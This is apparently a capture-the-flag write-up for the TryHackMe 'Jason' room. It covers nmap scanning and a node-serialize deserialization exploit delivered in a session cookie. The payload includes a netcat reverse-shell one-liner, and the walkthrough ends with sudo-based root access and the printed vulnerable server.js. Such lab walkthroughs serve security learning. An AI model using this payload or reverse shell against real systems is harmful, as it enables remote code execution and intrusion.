# Jax sucks alot

<figure><img src="https://1261483422-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FTAjoMGhyi4qD4wiYqHYf%2Fuploads%2FZfghWL0GGY7NUPXb6VZC%2FJax%20sucks%20alot..............png?alt=media&#x26;token=b461d917-12a5-4a65-9939-c5cc2d91f794" alt="" width="375"><figcaption></figcaption></figure>

<p align="center"><a href="https://tryhackme.com/room/jason">https://tryhackme.com/room/jason</a></p>

***

## Enumeration

```bash
sudo nmap -p- -sS --min-rate 5000 -Pn -n -vv -oA nmap/JaxSucksAlot 10.64.139.255

PORT   STATE SERVICE REASON
22/tcp open  ssh     syn-ack ttl 62
80/tcp open  http    syn-ack ttl 62
```

```bash
nmap -p 22,80 -sCV -oA nmap/openPorts 10.64.139.255

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.13 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 bf:4a:49:27:75:3d:bb:59:e6:cf:ad:51:1e:c5:29:98 (RSA)
|   256 e1:53:ce:39:6d:71:f1:03:02:c4:5b:7f:a1:52:1e:92 (ECDSA)
|_  256 08:9f:96:79:1d:2b:9b:eb:ee:be:6e:dd:5a:3d:ca:a7 (ED25519)
80/tcp open  http
|_http-title: Horror LLC
| fingerprint-strings: 
|   GetRequest, HTTPOptions: 
|     HTTP/1.1 200 OK
|     Content-Type: text/html
|     Date: Fri, 20 Mar 2026 16:07:00 GMT
|     Connection: close
|     <html><head>
|     <title>Horror LLC</title>
|     <style>
|     body {
|     background: linear-gradient(253deg, #4a040d, #3b0b54, #3a343b);
|     background-size: 300% 300%;
|     -webkit-animation: Background 10s ease infinite;
|     -moz-animation: Background 10s ease infinite;
|     animation: Background 10s ease infinite;
|     @-webkit-keyframes Background {
|     background-position: 0% 50%
|     background-position: 100% 50%
|     100% {
|     background-position: 0% 50%
|     @-moz-keyframes Background {
|     background-position: 0% 50%
|     background-position: 100% 50%
|     100% {
|     background-position: 0% 50%
|     @keyframes Background {
|     background-position: 0% 50%
|_    background-posi
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port80-TCP:V=7.98%I=7%D=3/20%Time=69BD70A4%P=x86_64-pc-linux-gnu%r(GetR
SF:equest,E4B,"HTTP/1\.1\x20200\x20OK\r\nContent-Type:\x20text/html\r\nDat
SF:e:\x20Fri,\x2020\x20Mar\x202026\x2016:07:00\x20GMT\r\nConnection:\x20cl
SF:ose\r\n\r\n<html><head>\n<title>Horror\x20LLC</title>\n<style>\n\x20\x2
SF:0body\x20{\n\x20\x20\x20\x20background:\x20linear-gradient\(253deg,\x20
SF:#4a040d,\x20#3b0b54,\x20#3a343b\);\n\x20\x20\x20\x20background-size:\x2
SF:0300%\x20300%;\n\x20\x20\x20\x20-webkit-animation:\x20Background\x2010s
SF:\x20ease\x20infinite;\n\x20\x20\x20\x20-moz-animation:\x20Background\x2
SF:010s\x20ease\x20infinite;\n\x20\x20\x20\x20animation:\x20Background\x20
SF:10s\x20ease\x20infinite;\n\x20\x20}\n\x20\x20\n\x20\x20@-webkit-keyfram
SF:es\x20Background\x20{\n\x20\x20\x20\x200%\x20{\n\x20\x20\x20\x20\x20\x2
SF:0background-position:\x200%\x2050%\n\x20\x20\x20\x20}\n\x20\x20\x20\x20
SF:50%\x20{\n\x20\x20\x20\x20\x20\x20background-position:\x20100%\x2050%\n
SF:\x20\x20\x20\x20}\n\x20\x20\x20\x20100%\x20{\n\x20\x20\x20\x20\x20\x20b
SF:ackground-position:\x200%\x2050%\n\x20\x20\x20\x20}\n\x20\x20}\n\x20\x2
SF:0\n\x20\x20@-moz-keyframes\x20Background\x20{\n\x20\x20\x20\x200%\x20{\
SF:n\x20\x20\x20\x20\x20\x20background-position:\x200%\x2050%\n\x20\x20\x2
SF:0\x20}\n\x20\x20\x20\x2050%\x20{\n\x20\x20\x20\x20\x20\x20background-po
SF:sition:\x20100%\x2050%\n\x20\x20\x20\x20}\n\x20\x20\x20\x20100%\x20{\n\
SF:x20\x20\x20\x20\x20\x20background-position:\x200%\x2050%\n\x20\x20\x20\
SF:x20}\n\x20\x20}\n\x20\x20\n\x20\x20@keyframes\x20Background\x20{\n\x20\
SF:x20\x20\x200%\x20{\n\x20\x20\x20\x20\x20\x20background-position:\x200%\
SF:x2050%\n\x20\x20\x20\x20}\n\x20\x20\x20\x2050%\x20{\n\x20\x20\x20\x20\x
SF:20\x20background-posi")%r(HTTPOptions,E4B,"HTTP/1\.1\x20200\x20OK\r\nCo
SF:ntent-Type:\x20text/html\r\nDate:\x20Fri,\x2020\x20Mar\x202026\x2016:07
SF::00\x20GMT\r\nConnection:\x20close\r\n\r\n<html><head>\n<title>Horror\x
SF:20LLC</title>\n<style>\n\x20\x20body\x20{\n\x20\x20\x20\x20background:\
SF:x20linear-gradient\(253deg,\x20#4a040d,\x20#3b0b54,\x20#3a343b\);\n\x20
SF:\x20\x20\x20background-size:\x20300%\x20300%;\n\x20\x20\x20\x20-webkit-
SF:animation:\x20Background\x2010s\x20ease\x20infinite;\n\x20\x20\x20\x20-
SF:moz-animation:\x20Background\x2010s\x20ease\x20infinite;\n\x20\x20\x20\
SF:x20animation:\x20Background\x2010s\x20ease\x20infinite;\n\x20\x20}\n\x2
SF:0\x20\n\x20\x20@-webkit-keyframes\x20Background\x20{\n\x20\x20\x20\x200
SF:%\x20{\n\x20\x20\x20\x20\x20\x20background-position:\x200%\x2050%\n\x20
SF:\x20\x20\x20}\n\x20\x20\x20\x2050%\x20{\n\x20\x20\x20\x20\x20\x20backgr
SF:ound-position:\x20100%\x2050%\n\x20\x20\x20\x20}\n\x20\x20\x20\x20100%\
SF:x20{\n\x20\x20\x20\x20\x20\x20background-position:\x200%\x2050%\n\x20\x
SF:20\x20\x20}\n\x20\x20}\n\x20\x20\n\x20\x20@-moz-keyframes\x20Background
SF:\x20{\n\x20\x20\x20\x200%\x20{\n\x20\x20\x20\x20\x20\x20background-posi
SF:tion:\x200%\x2050%\n\x20\x20\x20\x20}\n\x20\x20\x20\x2050%\x20{\n\x20\x
SF:20\x20\x20\x20\x20background-position:\x20100%\x2050%\n\x20\x20\x20\x20
SF:}\n\x20\x20\x20\x20100%\x20{\n\x20\x20\x20\x20\x20\x20background-positi
SF:on:\x200%\x2050%\n\x20\x20\x20\x20}\n\x20\x20}\n\x20\x20\n\x20\x20@keyf
SF:rames\x20Background\x20{\n\x20\x20\x20\x200%\x20{\n\x20\x20\x20\x20\x20
SF:\x20background-position:\x200%\x2050%\n\x20\x20\x20\x20}\n\x20\x20\x20\
SF:x2050%\x20{\n\x20\x20\x20\x20\x20\x20background-posi");
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
```

## Insecure Deserialization

<http://10.64.139.255/>

<figure><img src="https://1261483422-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FTAjoMGhyi4qD4wiYqHYf%2Fuploads%2FtHfwOBZdVbCfxy86rXeo%2FScreenshot%202026-03-20%20144424.png?alt=media&#x26;token=de972159-aada-4a27-819d-c390301e5198" alt=""><figcaption></figcaption></figure>

<figure><img src="https://1261483422-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FTAjoMGhyi4qD4wiYqHYf%2Fuploads%2Fu7FpEEykVXVNnyo7ZsXY%2FScreenshot%202026-03-20%20144510.png?alt=media&#x26;token=19895fdc-208e-419a-bafe-670dafb6cea0" alt=""><figcaption></figcaption></figure>

<figure><img src="https://1261483422-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FTAjoMGhyi4qD4wiYqHYf%2Fuploads%2FDi49YRh7E9pLQVtZ7eMD%2FScreenshot%202026-03-20%20144616.png?alt=media&#x26;token=76c49afc-c2c7-48c4-aad2-b3e89b25c03e" alt=""><figcaption></figcaption></figure>

```bash
echo 'eyJlbWFpbCI6InRlc3QifQ==' | base64 -d; echo

{"email":"test"}
```

## Exploitation

[node-serialize](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Insecure%20Deserialization/Node.md#node-serialize)

```bash
echo '{"rce":"_$$ND_FUNC$$_function(){require(\"child_process\").exec(\"rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.192.129 1111 >/tmp/f\", function(error,stdout, stderr) { console.log(stdout) });}()"}' | base64 -w 0; echo

eyJyY2UiOiJfJCRORF9GVU5DJCRfZnVuY3Rpb24oKXtyZXF1aXJlKFwiY2hpbGRfcHJvY2Vzc1wiKS5leGVjKFwicm0gL3RtcC9mO21rZmlmbyAvdG1wL2Y7Y2F0IC90bXAvZnwvYmluL3NoIC1pIDI+JjF8bmMgMTkyLjE2OC4xOTIuMTI5IDExMTEgPi90bXAvZlwiLCBmdW5jdGlvbihlcnJvcixzdGRvdXQsIHN0ZGVycikgeyBjb25zb2xlLmxvZyhzdGRvdXQpIH0pO30oKSJ9Cg==
```

```bash
nc -lnvp 1111
Listening on 0.0.0.0 1111
```

<figure><img src="https://1261483422-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FTAjoMGhyi4qD4wiYqHYf%2Fuploads%2FpQh3cZlMUTlTHds2CuPY%2FScreenshot%202026-03-20%20145154.png?alt=media&#x26;token=ca9c4009-3128-4f8b-8451-7694d4bc75b1" alt=""><figcaption></figcaption></figure>

```bash
nc -lnvp 1111
Listening on 0.0.0.0 1111
Connection received on 10.64.139.255 53162
/bin/sh: 0: can't access tty; job control turned off
$
```

[interactive-shell](https://estebanzarate.gitbook.io/hackache/linux/interactive-shell "mention")

```bash
ubuntu@ip-10-64-139-255:/opt/webapp$ ls /home/
dylan  ubuntu
ubuntu@ip-10-64-139-255:/opt/webapp$ ls /home/dylan/
user.txt
ubuntu@ip-10-64-139-255:/opt/webapp$ cat /home/dylan/user.txt
```

## User flag

{% hint style="success" %}
0ba\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*17c
{% endhint %}

## Privilege escalation

```bash
ubuntu@ip-10-64-139-255:/opt/webapp$ id

uid=1001(ubuntu) gid=1002(ubuntu) groups=1002(ubuntu),4(adm),20(dialout),24(cdrom),25(floppy),27(sudo),29(audio),30(dip),44(video),46(plugdev),116(lxd),1001(netdev)
```

## Sudo Misconfiguration

```bash
ubuntu@ip-10-64-139-255:/opt/webapp$ sudo -l
Matching Defaults entries for ubuntu on ip-10-64-139-255:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User ubuntu may run the following commands on ip-10-64-139-255:
    (ALL : ALL) ALL
    (ALL) NOPASSWD: ALL
ubuntu@ip-10-64-139-255:/opt/webapp$ sudo su root
root@ip-10-64-139-255:/opt/webapp# ls /root
root.txt
root@ip-10-64-139-255:/opt/webapp# cat /root/root.txt 
```

## Root flag

{% hint style="success" %}
2cd\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*60e
{% endhint %}

***

## Server misconfiguration

### Insecure deserialization

```bash
root@ip-10-64-139-255:/opt/webapp# cat server.js
```

```javascript
var http = require('http')
var fs = require('fs');
var serialize = require('node-serialize');
var url = require('url');
var xssFilters = require('xss-filters');

http.createServer(onRequest).listen(80);
console.log('Server has started');

let $ = require('cheerio').load(fs.readFileSync('index.html'));


function onRequest(request, response){
	if(request.url == "/" && request.method == 'GET'){
		if(request.headers.cookie){
			var cookie = request.headers.cookie.split('=');
			if(cookie[0] == "session"){
				var str = new Buffer(cookie[1], 'base64').toString();
				var obj = {"email": "guest"};
				try {
					obj = serialize.unserialize(str);
				}
				catch (exception) {
					console.log(exception);
				}
				var email = xssFilters.inHTMLData(obj.email).substring(0,20);
				$('h3').replaceWith(`<h3>We'll keep you updated at: ${email}</h3>`);
			}
		}else{
			$('h3').replaceWith(`<h3>Coming soon! Please sign up to our newsletter to receive updates.</h3>`);
		}
	}else if(request.url.includes("?email=") && request.method == 'POST'){
		console.log("POSTED email!");
		var qryObj = url.parse(request.url,true).query;
		var email = qryObj.email;
		var data = `{"email":"${email}"}`;
		var data64 = new Buffer(data).toString('base64');
		response.setHeader('Set-Cookie','session='+data64+'; Max-Age=900000; HttpOnly, Secure');
	}
	response.writeHeader(200, {"Content-Type": "text/html"});  
        response.write($.html());
  	response.end();
}
```
